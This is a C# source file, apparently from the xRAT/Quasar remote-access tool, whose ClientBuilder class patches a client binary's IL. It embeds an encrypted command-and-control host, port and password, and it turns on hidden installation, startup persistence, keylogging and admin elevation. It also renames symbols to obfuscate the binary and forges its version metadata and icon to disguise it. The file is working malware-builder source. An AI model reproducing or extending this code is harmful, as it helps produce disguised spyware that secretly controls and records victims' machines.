using System; using System.IO; using Mono.Cecil; using Mono.Cecil.Cil; using Vestris.ResourceLib; using xServer.Core.Encryption; namespace xServer.Core.Build { /// /// Provides methods used to create a custom client executable. /// public static class ClientBuilder { /// /// Builds a client executable. Assumes that the binaries for the client exist. /// /// The name of the final file. /// The URI location of the host. /// The password that is used to connect to the website. /// The sub-folder to install the client. /// Name of the installed executable. /// The client's mutex /// The registry key to add for running on startup. /// Decides whether to install the client on the machine. /// Determines whether to add the program to startup. /// Determines whether to hide the file. /// Determines if keylogging functionality should be activated. /// The port the client will use to connect to the server. /// The amount the client will wait until attempting to reconnect. /// The installation path of the client. /// Determines whether the client should (attempt) to obtain administrator privileges. /// The path to the icon for the client. /// Information about the client executable's assembly information. /// The version number of the client. /// Thrown if the builder was unable to rename the client executable. /// Thrown if an invalid special folder was specified. /// Thrown if the client binaries do not exist. public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo, string version) { // PHASE 1 - Settings string encKey = Helper.Helper.GetRandomName(20); AssemblyDefinition asmDef; try { asmDef = AssemblyDefinition.ReadAssembly("client.bin"); } catch (Exception ex) { throw new FileLoadException(ex.Message); } foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "xClient.Config.Settings") { foreach (var methodDef in typeDef.Methods) { if (methodDef.Name == ".cctor") { int strings = 1, bools = 1, ints = 1; for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string { switch (strings) { case 1: //version methodDef.Body.Instructions[i].Operand = AES.Encrypt(version, encKey); break; case 2: //ip/hostname methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey); break; case 3: //password methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey); break; case 4: //installsub methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey); break; case 5: //installname methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey); break; case 6: //mutex methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey); break; case 7: //startupkey methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey); break; case 8: //random encryption key methodDef.Body.Instructions[i].Operand = encKey; break; } strings++; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool { switch (bools) { case 1: //install methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install)); break; case 2: //startup methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup)); break; case 3: //hidefile methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile)); break; case 4: //AdminElevation methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(adminelevation)); break; case 5: //Keylogger methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(keylogger)); break; } bools++; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int { switch (ints) { case 1: //port methodDef.Body.Instructions[i].Operand = port; break; case 2: //reconnectdelay methodDef.Body.Instructions[i].Operand = reconnectdelay; break; } ints++; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte { methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath); } } } } } } // PHASE 2 - Renaming Renamer r = new Renamer(asmDef); if (!r.Perform()) throw new Exception("renaming failed"); // PHASE 3 - Saving r.AsmDef.Write(output); // PHASE 4 - Assembly Information changing if (asminfo != null) { VersionResource versionResource = new VersionResource(); versionResource.LoadFrom(output); versionResource.FileVersion = asminfo[7]; versionResource.ProductVersion = asminfo[6]; versionResource.Language = 0; StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"]; stringFileInfo["CompanyName"] = asminfo[2]; stringFileInfo["FileDescription"] = asminfo[1]; stringFileInfo["ProductName"] = asminfo[0]; stringFileInfo["LegalCopyright"] = asminfo[3]; stringFileInfo["LegalTrademarks"] = asminfo[4]; stringFileInfo["ProductVersion"] = versionResource.ProductVersion; stringFileInfo["FileVersion"] = versionResource.FileVersion; stringFileInfo["Assembly Version"] = versionResource.ProductVersion; stringFileInfo["InternalName"] = asminfo[5]; stringFileInfo["OriginalFilename"] = asminfo[5]; versionResource.SaveTo(output); } // PHASE 5 - Icon changing if (!string.IsNullOrEmpty(iconpath)) IconInjector.InjectIcon(output, iconpath); } /// /// Obtains the OpCode that corresponds to the bool value provided. /// /// The value to convert to the OpCode /// Returns the OpCode that represents the value provided. private static OpCode BoolOpcode(bool p) { return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; } /// /// Attempts to obtain the signed-integer value of a special folder from the install path value provided. /// /// The integer value of the install path. /// Returns the signed-integer value of the special folder. /// Thrown if the path to the special folder was invalid. private static sbyte GetSpecialFolder(int installpath) { switch (installpath) { case 1: return 26; // Appdata case 2: return 38; // ProgramFiles case 3: return 37; // System default: throw new ArgumentException("InstallPath"); } } } }